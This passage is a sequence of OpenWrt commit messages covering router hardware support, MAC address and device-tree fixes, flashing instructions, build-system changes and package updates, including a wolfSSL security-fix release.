- 1x micro USB Type-B for system serial console (Holtek HT42B534)
- 11x LED (5 for Ethernet, 5 driven by GPIO, 1x power indicator)
- 3x button (reset, user1, user2)
- 1x I2C (4-pin, 2.54 mm pitch) header on PCB
- 4x SIM (6-pin, 2.00 mm pitch) headers on PCB
- 2x UART2/3 (4-pin, 2.54 mm pitch) headers on PCB
- 1x mechanical power switch
- 1x DC jack with lock (24 V)
Other:
- U-Boot selects default SIM slot, based on value of 'default_sim' env
variable: '1' or unset -> SIM1 (mini), '2' -> SIM2 (micro). This board
has additional logic circuit for M.2 SIM switching. The 'sim-select'
will work only if both SIM slots are occupied. Otherwise, always slot
with SIM inside is selected, no matter 'sim-select' value.
- U-Boot enables power in all three miniPCIe and M.2 slots before
loading the kernel
- this board supports 'dual image' feature (controlled by 'dual_image'
U-Boot environment variable)
- all three miniPCIe slots have additional 5 V supply on pins 47 and 49
- the board allows to install up to two oversized miniPCIe cards (vendor
has dedicated MediaTek MT7615N/D cards for this board)
- this board has additional logic circuit controlling PERSTn pins inside
miniPCIe slots. By default, PERSTn (GPIO19) is routed to all miniPCIe
slots but setting GPIO22 to high allows PERSTn control per slot, using
GPIO23-25 (value is inverted)
You can use the 'sysupgrade' image directly in vendor firmware which is
based on OpenWrt (make sure to not preserve settings - use 'sysupgrade
-n -F ...' command). Alternatively, use web recovery mode in U-Boot:
1. Power the device with reset button pressed, the modem LED will start
blinking slowly and after ~3 seconds, when it starts blinking faster,
you can release the button.
2. Setup static IP 192.168.1.2/24 on your PC.
3. Go to 192.168.1.1 in browser and upload 'sysupgrade' image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ALFA Network R36M-E4G is a dual-SIM, N300 Wi-Fi, compact size platform
based on MediaTek MT7620A WiSoC. This product is designed for operation
with 4G modem (can be bought in bundle with Quectel EC25, EG25 or EP06)
but supports also Wi-Fi modules (miniPCIe slot has USB and PCIe buses).
Specification:
- MT7620A (580 MHz)
- 64/128/256 MB of RAM (DDR2)
- 16/32+ MB of FLASH (SPI NOR)
- 2x 10/100 Mbps Ethernet, with passive PoE support (24 V)
- 2T2R 2.4 GHz (MT7620A), with ext. LNA (RFFM4227)
- 1x miniPCIe slot (with PCIe and USB 2.0 buses and optional 5 V)
- 2x SIM slot (mini, micro) with detect and switch driven by GPIO
- 2x u.fl antenna connectors (for Wi-Fi)
- 8x LED (7 driven by GPIO)
- 2x button (reset, wifi)
- 2x UART (4-pin/2.54 mm pitch, 10-pin/1.27 mm pitch) headers on PCB
- 1x I2C (4-pin, 1.27 mm pitch) header on PCB
- 1x LED (8-pin, 1.27 mm pitch) header on PCB
- 1x DC jack with lock (12 V)
Other:
- there is a dedicated, 4-pin connector for optional RTC module (Holtek
HT138x) with 'enable' input, not available at the time of preparing
support for this board
- miniPCIe slot supports additional 5 V supply on pins 47 and 49 but a
jumper resistor (R174) is not installed by default
- U-Boot selects default SIM slot, based on value of 'default_sim' env
variable: '1' or unset -> SIM1 (mini), '2' -> SIM2 (micro). This will
work only if both slots are occupied, otherwise U-Boot will always
select slot with SIM card inside (user can override it later, in
user-space)
- U-Boot resets the modem, using PERSTn signal, before starting kernel
- this board supports 'dual image' feature (controlled by 'dual_image'
U-Boot environment variable)
Flash instruction:
You can use the 'sysupgrade' image directly in vendor firmware which is
based on OpenWrt (make sure to not preserve settings - use 'sysupgrade
-n -F ...' command). Alternatively, use web recovery mode in U-Boot:
1. Power the device with reset button pressed, the modem LED will start
blinking slowly and after ~3 seconds, when it starts blinking faster,
you can release the button.
2. Setup static IP 192.168.1.2/24 on your PC.
3. Go to 192.168.1.1 in browser and upload 'sysupgrade' image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
New U-Boot version for MediaTek MT76x8/MT762x based ALFA Network boards
includes support for a 'dual image' feature. Users can enable it using
U-Boot environment variable 'dual_image' ('1' -> enabled).
When 'dual image' feature is enabled, U-Boot will modify DTB and divide
the original 'firmware' flash area into two, equal in size and aligned
to 64 KB partitions: 'firmware' and 'backup'. U-Boot will also adjust
size of 'firmware' area to match installed flash chip size.
U-Boot will load kernel from active partition which is marked with env
variable 'bootactive' ('1' -> first partition, '2' -> second partition)
and rename both partitions accordingly ('firmware' <-> 'backup').
There are 3 additional env variables used to control 'dual image' mode:
- bootlimit - maximum number of unsuccessful boot tries (default: '3')
- bootcount - current number of boot tries
- bootchanged - flag which informs that active partition was changed; if
it is set and 'bootcount' reaches 'bootlimit' value,
U-Boot will start web-based recovery which then updates
both partitions with provided image
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Discovered recent changes had broken sysupgrade for ar71xx mikrotik
rb-493g, traced the problem to missing /usr/share/libubox/jshn.sh after
switching to tmpfs.
Signed-off-by: Russell Senior <russell@personaltelco.net>
CY-SWR1100 has a USB LED but kmod-usb-ledtrig-usbport is missing
in default images. This commit adds it.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[changed commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch does the following:
- rename "devdata" flash partition and make it read-only
- switch from gpio-keys-polled to gpio-keys
- add missing power LED
- set correct PCI ID to compatible string in wifi node
- remove ralink,5ghz property in wifi node
- provide label MAC address
Rename devdata partition to devconf as indicated in the stock firmware
partition table:
00030000-00040000: "devdata"
00040000-00050000: "devconf"
Power LED can be controlled by SoC GPIO. Add it in the dts leds node.
RT3092L supports only bgn mode, so it is unnecessary to disable 5GHz band.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Ethernet MAC address setup has been broken since c3e420f28c. Restore
original setting.
Fixes: c3e420f28c ("ramips: Add support for D-Link DCH-M225")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
As discussed in 1d18a14a90 ("ath79: really fix TP-Link Archer C7
v2 MAC address"), stock firmware MAC address assignment is
actually as follows:
wlan0 (5GHz) : -1
wlan1 (2.4GHz) : 0
eth1 (LAN) : 0
eth0 (WAN) : 1
This has never been fixed for ar71xx, so let's do it now.
Note that with WDR4900 v2 even both wlan0 and wlan1 where assigned
to basemac-1 before ...
Fixes: FS#408
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces all uses of $(cat /sys/class/ieee80211/phyX/macaddress)
by retrieval from the proper flash locations. This will make
02_network independent of WiFi setup again.
For future reference:
The MAC addresses of the FRITZ!WLAN Repeater 300E can be extracted
from the urlader key value store:
maca *:6B
macb *:6C
macwlan *:6D
macdsl *:6E
and be set by e.g.
addr=$(fritz_tffs -n maca -i $(find_mtd_part "tffs (1)"))
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces all uses of $(cat /sys/class/ieee80211/phyX/macaddress)
by retrieval from the proper flash locations. This will make
02_network independent of WiFi setup again.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
uci-defaults are sourced and non-executable, so they do not require
a shebang.
While at it, apply consistent naming scheme.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Replace 2 instances of non posix use of 'head' with posix compliant
'cut'.
'head -c n' cuts 'n' bytes from the passed string and happens to work on
Linux & Mac OS X even though '-c' is not posix.
'head --bytes n' does the same thing and happens to work on linux but
not on Mac OS X and is also not posix.
'cut -b1-8' cuts the first 8 bytes from the passed string and is posix
compliant, hence works on Linux & Mac OS X.
Our usage of 'head --bytes' was particularly unfortunate since it was
used to calculated the RootFS UUID passed to grub - the net result being
a non-functioning system waiting for the root file system to appear.
Thanks to karlp, ynezz & others for pointers on solving this.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Now that netifd and hostapd allow dynamic reconfiguration, add a
command to trigger it.
Signed-off-by: John Crispin <john@phrozen.org>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Change scripts to use ubus interface of hostapd/wpa_supplicant to
add/remove/modify wireless interfaces instead of (re-)starting the
services.
Signed-off-by: John Crispin <john@phrozen.org>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Add ubus interface to hostapd and wpa_supplicant to allow dynamically
reloading wiface configuration without having to restart the hostapd
process.
As a consequence, both hostapd and wpa_supplicant are now started
persistently on boot for each wifi device in the system and then
receive ubus calls adding, modifying or removing interface
configuration.
At a later stage it would be desirable to reduce the services to one
single instance managing all radios.
Signed-off-by: John Crispin <john@phrozen.org>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
7a723d0 wireless: add ubus method for reloading configuration
e15147c wireless: make reconf opt-in and allow serializing configuration
Set new option 'reconf' in 'wifi-device' section to enable dynamic
re-configuration on that radio.
If necessary, also set option 'serialize' which forced netifd to
configure interfaces of wireless devices one-by-one.
Both options are disabled by default.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
In ar71xx, the board name for the TL-WR1043ND v3 is equal to v2:
tl-wr1043nd-v2
Fix SUPPORTED_DEVICES for v3 in ath79 accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The led wireless trigger is already set correctly to phy0tpt through the
alias in the device tree.
Signed-off-by: Manuel Kock <github.web@manu.li>
[rephrased commit title]
Signed-off-by: David Bauer <mail@david-bauer.net>
Includes following changes:
9d9d4c284786 fix possible garbage in unitialized char* struct members
dbc1b1b71b24 fix possible copy of null buffer and validation of unitialized header
76d53deef8bb crc32: add missing stdint.h dependency
e5666ed3b47c add cram based unit tests
abe0cf7de053 add initial GitLab CI support
e43042507b4f iron out extra compiler warnings
5df0cd6e1523 convert into CMake project
a7dc0526f819 refactor into separate Git project
adds missing PKG_LICENSE field and converts the package build to utilize
CMake.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
These targets are currently using more or less same SIGNATURE variable
which provides unique partition ID/signature, so it makes sense to
refactor it out into common IMG_PART_SIGNATURE variable which could be
reused by all targets.
This is another step in the direction of reproducible OpenWrt images.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[split into separate commit, renamed to IMG_PART_SIGNATURE]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
x86, mvebu and tegra targets are currently using more or less same
SIGNATURE variable which provides unique partition ID/signature, so it
makes sense to refactor it out into common variable which could be
reused by all targets. While at it, make the content of the variable
reproducible.
Ref: http://lists.infradead.org/pipermail/openwrt-devel/2019-March/016148.html
Signed-off-by: Paul Spooren <mail@aparcar.org>
Suggested-by: Jo-Philipp Wich <jo@mein.io>
[renamed to IMG_PARTSIGNATURE, reworked with epoch+vermagic hash]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
As started in 19724e28c8 ("ramips: split base-files into
subtargets"), this moves some smaller left-over files to the
appropriate base-files folder of their subtarget:
- /etc/init.d/bootcount
- /etc/uci-defaults/04_led_migration
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When Nanostation M was renamed from ubnt,nano-m to ubnt,nanostation-m
in commit f1396ac753 ("ath79: align naming of Ubiquiti Nanostation M"),
the caldata extraction in 10-ath9k-eeprom was overlooked.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adjusts the GPIO state flag to ACTIVE_LOW as FCC pictures indicate
the base board is identical to the one of the R6220.
Fixes commit 3459013257 ("ramips: correct R6220 button flag")
Signed-off-by: David Bauer <mail@david-bauer.net>
Instead of depending on kmod-usb2 make it depend on the normal USB
dependencies. This should hopefully fix some problems seen in the build
bot builds for powerpc_8540.
In addition also activate DRIVER_11N_SUPPORT support.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
All buttons on the Netgear R6220 are active-low while they are flagged
as active-high.
The GPIO status reads the following for no buttons pressed:
root@64367-r6220:~# cat /sys/kernel/debug/gpio
gpio-7 ( |wps ) in hi
gpio-8 ( |wifi ) in hi
gpio-14 ( |reset ) in hi
Signed-off-by: David Bauer <mail@david-bauer.net>
lib and includedir point to the host, not staging_dir.
Note that prefix and exec_prefix is overriden to point to staging_dir.
As CMAKE_INSTTALL is passed, switched InstallDev to use cmake.mk's rule.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
includedir and libdir are set to /usr/include and /usr/lib . This breaks
compilation with packages such as tmux that use pkgconfig to find libevent
Also added PKG_LICENSE_FILES.
Simplified the InstallDev section by using cmake.mk's default rule.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Forward the OpenWrt TARGET_LDFLAGS to the linker of the fw_printenv tool.
In addition also use the more standard make invocation script.
With this change the fw_printenv tool is built with PIE and Full RELRO
support when activated globally in OpenWrt.
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
Update busybox to 1.31.1
Small bug fix release. Fixes for dc, ash (PS1 expansion fix),
hush, dpkg-deb, telnet and wget.
No need to refresh patches or config.
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
The I2SE Duckbill devices are pen-drive like and thus the usage
of the USB gadget subsystem is highly indicated.
Spawning a console if a serial gadget is configured saves
us from connecting a physical debug uart.
On Olimex OLinuXino Maxi/Mini boards, this does not hurt.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
Now that 'start-console' procd command has reached the main repo,
we can add a rule to start consoles on serial devices which are
created when USB gadget driver reports creation with hotplugging.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
Also remove kernel 4.14 support and the meanwhile obsolete patch.
This was run-tested on I2SE Duckbill device and
Olimex OLinuXino Maxi board.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
Tested-by: Zoltan HERPAI <wigyori@uid0.hu>
Also update the U-Boot BSP patch for I2SE Duckbill devices.
Run tested on I2SE Duckbill and Olimex OLinuXino Maxi boards.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
This decreases the size of the usign application by 16% on MIPS BE.
old:
24,597 /usr/bin/usign
new:
20,501 /usr/bin/usign
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This decreases the size of the swconfig application by 25% on MIPS BE.
old:
16,916 /sbin/swconfig
new:
12,565 /sbin/swconfig
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This decreases the size of the mtd application by 25% on MIPS BE.
old:
20,597 /sbin/mtd
new:
16,421 /sbin/mtd
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This decreases the binary size when PIE ASLR is activated by 8% on MIPS BE.
old:
202,020 /usr/sbin/dnsmasq
new:
185,676 /usr/sbin/dnsmasq
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This moves shared code of the named devices into a common DTSI.
Remove setting status="okay" for &gpio0 as it's not disabled in
mt7620a.dtsi.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Based on Macronix MX25L3205DM2I datasheet this is maximum
supported speed.
Signed-off-by: Frederik Noe-Sdun <Frederik.Sdun@googlemail.com>
[rebased, improved commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* SoC: MT7620A
* RAM: 64 MB DDR
* Flash: 8MB NOR SPI flash
* WiFi: MT7612E (5Ghz) and builtin MT7620A (2.4GHz)
* LAN: 1x100M
The -factory images can be flashed from the
device's web interface or via nmrpflash.
The device seems to use base PCB as EX3700/EX3800,
but supporting AC1200 using MT7612E.
MAC adresses:
5.0 GHz 0x8004 *:9a
2.4 GHz 0x4 *:9b
lan 0x28 *:9b
wan 0x2e *:9c
Since this is a one-port device, although wan MAC address is
set in flash, it is not used in OpenWrt setup.
Signed-off-by: Frederik Noe-Sdun <Frederik.Sdun@googlemail.com>
[rebased, extended commit message, tiny DTS style fixes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix the error that tl-wdr3320-v2 can't upgrade firmware via web
interface by using magic_ver="0200" for this device.
Signed-off-by: 南浦月 <nanpuyue@gmail.com>
[commit message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Commit 881ed09ee6 ("build: create JSON files containing image info")
has removed the crucial empty new line from the image copy step
resulting in the following errors during make function expansion:
GZ_SUFFIX :=
bash: GZ_SUFFIX: command not found
Makefile:86: recipe for target 'openwrt-ath79-generic-tplink_archer-c7-v5-squashfs-sysupgrade.bin' failed
Fixes: 881ed09ee6 ("build: create JSON files containing image info")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Use reset-gpio instead of the custom phy-reset-gpio property to do phy
reset on the U4019. phy-reset-gpio was incorrectly introduced when we
added support for the U4019, and will be deprecated.
Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
The old GPIO based phy reset (phy-reset-gpio) will be removed form
the ipq40xx mdio driver in the future.
Signed-off-by: Daniel Danzberger <daniel@dd-wrt.com>
Commit ad7c6102f2 ("busybox: fix missing install with suid bit set if
FEATURE_SUID=y") actually fixes BUSYBOX_CONFIG_FEATURE_SUID option and
thus would install busybox setuid root by default which would result in
possibly unwanted change of current behaviour, so let's disable this
option by default in order to preserve the current status-quo.
For the record: disabling FEATURE_SUID to preserve the status-quo does
*not* imply the current status-quo is "safer", or for that matter, in
any way desireable. That is a discussion to be had on the mailing
lists.
Switching the FEATURE_SUID default to "n" is simply a compromise to
facilitate the merge of the changes that unbreak FEATURE_SUID.
Ref: PR#2502
Signed-off-by: Henrique de Moraes Holschuh <henrique@nic.br>
[commit title/description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
With FEATURE_SUID=y one can install busybox binary belonging to root
with the suid bit set, enabling some applets to perform root-level
operations even when run by ordinary users. Busybox then drops
privileges for applets that don't need root access, before entering
their main() function.
Currently we don't install busybox binary with suid bit set, rendering
this feature unusable.
Note that we can't just "chmod u+s /bin/busybox" at runtime as a
"cheaper" solution: it would waste approximately 200KiB of FLASH (the
whole /bin/busybox binary gets copied into the overlay).
Ref: PR#2502
Signed-off-by: Henrique de Moraes Holschuh <henrique@nic.br>
[commit title/description facelift, use INSTALL_SUID variable]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This reverts commit 6170c46b47.
There has been demand for further evaluation of the impact of a
changed hostname, so this is reverted for now. The default hostname
will be "OpenWrt" again after this commit.
The macaddr_geteui() function is not removed by this revert.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
If a label MAC address is provided for device, system
will rename the hostname with OpenWrt_{eui mac address}.
This helps to distinguish between different devices.
Since it's no good idea to nest json_* functions, this code does
not use get_mac_label directly, but only get_mac_label_dt as
external resource.
Signed-off-by: Rosy Song <rosysong@rosinson.com>
[merged with commit introducing macaddr_geteui, rebased on updated
label MAC address storage, extended commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
If set, label MAC address is available from one of two sources,
device tree or board.json. So far, the function get_mac_label
was meant for retrieving the address, while an option in uci
system config was specified only for case 2 (board.json).
The uci config option has several drawbacks:
- it is only used for a fraction of devices (those not in DT)
- label MAC address is a device property, while config implies
user interaction
- label_macaddr option will only be set if /etc/config/system
does not exist (i.e. only for new installations)
Thus, this patch changes the behavior of get_mac_label:
Instead of writing the value in board.json to uci system config
and reading from this location afterwards, get_mac_label now
extracts data from board.json directly. The uci config option
won't be used anymore.
In addition, two utility functions for extraction only from DT
or from board.json are introduced.
Since this is only changing the access to the label MAC address, it
won't interfere with the addresses stored in the code base so far.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For some devices, the keys node is named "button". Change name to
match the rest of the target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In several DTS files, button nodes are just named buttonX or
xxx_button. This replaces the names with more specific names matching
the majority of key definitions.
While at it, fix name of keys node in one case.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes the netdev LED trigger for interfaces, which are renamed
during initialization (e.g. ppp interfaces).
Fixes: FS#2193
Fixes: FS#2239
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
This is needed to export crypto information to netfilter, allowing
the alt. afalg openssl engine to obtain information about the drivers
being used.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Many bugs were fixed--2 patches removed here.
This release of wolfSSL includes fixes for 5 security vulnerabilities,
including two CVEs with high/critical base scores:
- potential invalid read with TLS 1.3 PSK, including session tickets
- potential hang with ocspstaping2 (always enabled in openwrt)
- CVE-2019-15651: 1-byte overread when decoding certificate extensions
- CVE-2019-16748: 1-byte overread when checking certificate signatures
- DSA attack to recover DSA private keys
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
The elecom-header renames the firmware image to v_0.0.0.bin, stores its
MD5 sum as v_0.0.0.md5 and tars both files again.
Both v_0.0.0 files are created as the build user making it harder to
reproduce.
This commit sets the owner/group of both files to root by adding extra
options to the final tar command.
Before:
0 buildbot (101) buildbot (102) 3932164 2019-11-05 14:43:22.000000 v_0.0.0.bin
0 buildbot (101) buildbot (102) 33 2019-11-05 14:43:22.000000 v_0.0.0.md5
After:
0 root (0) root (0) 3932164 2019-11-05 23:43:08.000000 v_0.0.0.bin
0 root (0) root (0) 33 2019-11-05 23:43:08.000000 v_0.0.0.md5
Signed-off-by: Paul Spooren <mail@aparcar.org>
Includes following changes:
0230d0698e59 add initial GitLab CI support
5e13b797a988 iron out all extra compiler warnings
802fbd4d6f39 cmake: enable extra compiler checks
050bb5c4431b convert into CMake project
5b350e42d1fd refactor into separate Git project
and converts the package build to utilize CMake.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
TP-Link's TL-WR941 is sold with detachable antennas
internationally (ND version), but with fixed antennas in China
(N version). While hardware and images are similar for both
variants of v2 and v4, they are different for v6.
Having both explicitly will make it easier for user to identify
the correct image, and most importantly will raise awareness
that N and ND are not necessarily always the same as for
TL-WR841 series.
With an image selection webpage, using ALT0_MODEL as in this
patch will provide the option to list versions for N and ND
separately.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reorganizes DTSI files for the Netgear R devices in mt7621
(and the WNDR3700 v5). It creates a common DTSI for all R (sercomm)
devices and distributes the remaining code in r6220.dtsi to R6220
and WNDR3700 v5.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
- remove WAN port index
- load WAN MAC address directly from the flash
- provide label MAC address
- increase flash's SPI frequency to 80MHz
- add mt76 led nodes to make WiFi LEDs work
- drop unnecessary pinmux groups
The factory partition scheme for MAC addresses (verified on both devices):
0x4 : WiFi 2.4GHz (label_mac-9)
0x28 : unused
0x2e : WAN (label_mac)
0x8004: WiFi 5GHz (label_mac-5)
0xe000: LAN (label_mac-1)
0xe006: unused
By improving flash speed,
`time dd if=/dev/mtdblock3 of=/dev/null bs=64k`
has been reduced from 14.51s to 3.11s.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebased]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The ð0 node is the same for all TP-Link CPE devices in ar9344,
so move it to parent DTSI. While at it, do some minor DTS
harmonizations.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for a popular low-cost 2.4GHz N based AP
Specifications:
SoC: Qualcomm Atheros QCA9533 (650MHz)
RAM: 64MB
Storage: 8 MB SPI NOR
Wireless: 2.4GHz N based built into SoC 2x2
Ethernet: 2x 100/10 Mbps, integrated into SoC
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
This also applies some minor changes to the common DTSI:
- use &wmac for label-mac-device, as this one is actually set up in
common DTSI
- move ð0 to parent DTSI
- fix several leading spaces, added/removed newlines
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
[DTS style fixes/improvements, updated commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, MAC address assignment in ramips has contained a default
case, which defined wan_mac = eth0 + 1 for _every_ device not
having an explicit case there.
This is not desirable, as many device supporters will just not
care or know about this definition, so another MAC address will be
introduced by accident. In some cases the wan_mac is assigned
although it is not needed, in other cases even addresses not
dedicated to the device will be used (e.g. wan_mac actually is
eth0 - 1, but during support nobody cared, so eth0 + 1 is used now,
which might actually belong to another device ...).
Thus, in this PR the former default case is converted to an
explicit case. This one comprises all devices not being accounted
for by other cases, reduced by those not having wan at all.
The big number of entries for this node might be another indication
that many of them wouldn't actually be there if there hadn't been
default wan_mac setup.
In exchange, the current "do nothing" case can be removed, as it
will be the new default case.
The devices being put in the newly created explicit case were
determined as follows:
1. Create a list of all devices based on the DTS files.
2. Remove all devices already having an explicit entry setting
their address.
3. Remove all devices that only have lan set up in the first part
of 02_network:
mt7620:
- alfa-network,tube-e4g
- asus,rp-n53
- buffalo,wmr-300
- comfast,cf-wr800n
- edimax,ew-7476rpc
- edimax,ew-7478ac
- elecom,wrh-300cr
- hnet,c108
- kimax,u25awf-h1
- kimax,u35wf
- kingston,mlw221
- kingston,mlwg2
- microduino,microwrt
- netgear,ex2700
- netgear,ex3700
- netgear,wn3000rp-v3
- planex,cs-qr10
- planex,mzk-ex300np
- planex,mzk-ex750np
- ravpower,wd03
- sercomm,na930
- yukai,bocco
- zbtlink,zbt-cpe102
- zte,q7
mt7621:
- gnubee,gb-pc1
- gnubee,gb-pc2
- linksys,re6500
- mikrotik,rbm11g
- netgear,ex6150
- thunder,timecloud
- tplink,re350-v1
- tplink,re650-v1
mt76x8:
- alfa-network,awusfree1
- d-team,pbr-d1
- glinet,vixmini
- vocore,vocore2-lite
- tama,w06
- tplink,tl-mr3020-v3
- tplink,tl-wa801nd-v5
- tplink,tl-wr802n-v4
- tplink,tl-wr902ac-v3
- vocore,vocore2
- widora,neo-16m
- widora,neo-32m
rt288x:
- buffalo,wli-tx4-ag300n
- dlink,dap-1522-a1
rt305x:
- allnet,all0256n-4m
- allnet,all0256n-8m
- allnet,all5002
- allnet,all5003
- alphanetworks,asl26555-16m
- alphanetworks,asl26555-8m
- asus,wl-330n
- aximcom,mr-102n
- dlink,dcs-930
- easyacc,wizard-8800
- hame,mpr-a2
- hootoo,ht-tm02
- huawei,d105
- intenso,memory2move
- planex,mzk-dp150n
- rt305x dlink,dcs-930l-b1
- sparklan,wcr-150gn
- tenda,3g150b
- tenda,3g300m
- tenda,w150m
- trendnet,tew-638apb-v2
- unbranded,a5-v11
- vocore,vocore-16m
- vocore,vocore-8m
- wansview,ncs601w
- zorlik,zl5900v2
rt3883:
- loewe,wmdr-143n
- omnima,hpm
4. Put the remaining devices in the new case.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This applies several style adjustments that have been requested in
recent reviews to older DTS files. Despite making the code base more
consistent, this will also help to reduce review time when DTSes
are copy/pasted.
Applied changes:
- Rename gpio-keys/gpio-leds to keys/leds
- Remove node labels that are not used
- Use label property for partitions
- Prefix led node labels with "led_"
- Remove redundant includes
- Harmonize new lines after status property
- Several smaller style fixes
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch does the following:
1. remove u-boot-env partition
Stock bootloader saves env variables at 0x80000 in flash,
and there is nothing stored at 0x30000.
By merging the partition "u-boot-env" with "u-boot",
the partition table becomes the same as used in stock firmware:
00000000-00080000: "Bootloader"
00080000-00100000: "Config"
00100000-00140000: "Factory"
00140000-07f80000: "Kernel"
2. fix LAN/WAN MAC addresses and provide label MAC address
Ethernet MAC addresses are stored in factory partition at:
0xe000: LAN (label_mac)
0xe006: WAN (label_mac+1)
3. fix LAN port order
WF-2881 LAN ports are in reverse order of switch ports.
4. fix WiFi LEDs
mt76 led nodes are added to make WiFi LEDs work.
On top of this, mt76 node names are changed to more generic ones,
and compatible strings are also added.
5. fix pinmux groups
uart3 and uart2 pins are used as button and led, but jtag pins are not.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This will have GIT ignore patches in root directory, as created
when using "git format-patch".
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 43365ca662 ("Do not use $(V) - force AM_V=1") as
it breaks verbose output in automake packages, deviating from the
upstream and expected behaviour.
As you can see, neither make command outputs the expected verbose
compile command lines:
```
$ make package/mtd-utils/{clean,compile} V=sc
...
CCLD lsmtd
CC nand-utils/nanddump.o
CCLD nanddump
...
```
```
$ make -C build_dir/target*/mtd-utils-2.1.1 clean
...
$ make -C build_dir/target*/mtd-utils-2.1.1 V=1
...
CC lib/libmtd.o
CC lib/libfec.o
CC lib/common.o
CC lib/libcrc32.o
```
The original reason for this commit was some packages failing to build
if V is set to something other than 0 or 1. See the discussion in PR
https://github.com/openwrt/openwrt/pull/2481 for how to fix this in the
package Makefile.
Ref: PR#2481
Acked-by: Mirko Vogt <mirko-openwrt@nanl.de>
Signed-off-by: Fredrik Olofsson <fredrik.olofsson@anyfinetworks.com>
[commit title/description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
There is a problem with the EA8500, the switch will not work after soft
reboot, the only way to get it working again is to power cycle it
manually.
There are probably several issues in the play, it's quite hard to fix it
without having access to the actual device, so I don't see any other
option now, then revert the offending commit.
Ref: PR#2047
Fixes: FS#2168 ("Switch no longer work after restart on Linksys EA8500")
Reported-by: Adam <424778940z@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The QCA953x only supports 25 MHz refclk, however some OEMs set an
invalid bootstrap value for the REF_CLK option, which would break the
clock detection in ath9k.
Force the QCA953x refclk to 25MHz in ath9k, as this is (according to the
datasheet) the only valid frequency.
Signed-off-by: David Bauer <mail@david-bauer.net>
The release notes since last time for wave-1:
* October 5, 2019: Fix too-short msg caused by invalid use of PayloadLen in receive path.
This appears to resolve the issue of getting (and ignoring) too-short commands
when we detect loss of CE interrupts and go into polling mode.
* October 12, 2019: Fix regression in IBSS mode that caused SWBA overrun issues. Related to
regression added during the ct-station logic, specifically TSF allocation.
Thanks for Ahmed Zaki @ Mage-Networks for helping to diagnose and test.
* October 15, 2019: Only send beacon tx completion events if we can detect CT driver is being
used (based on CT_STATS_OK flag being set). This should help CT firmware work
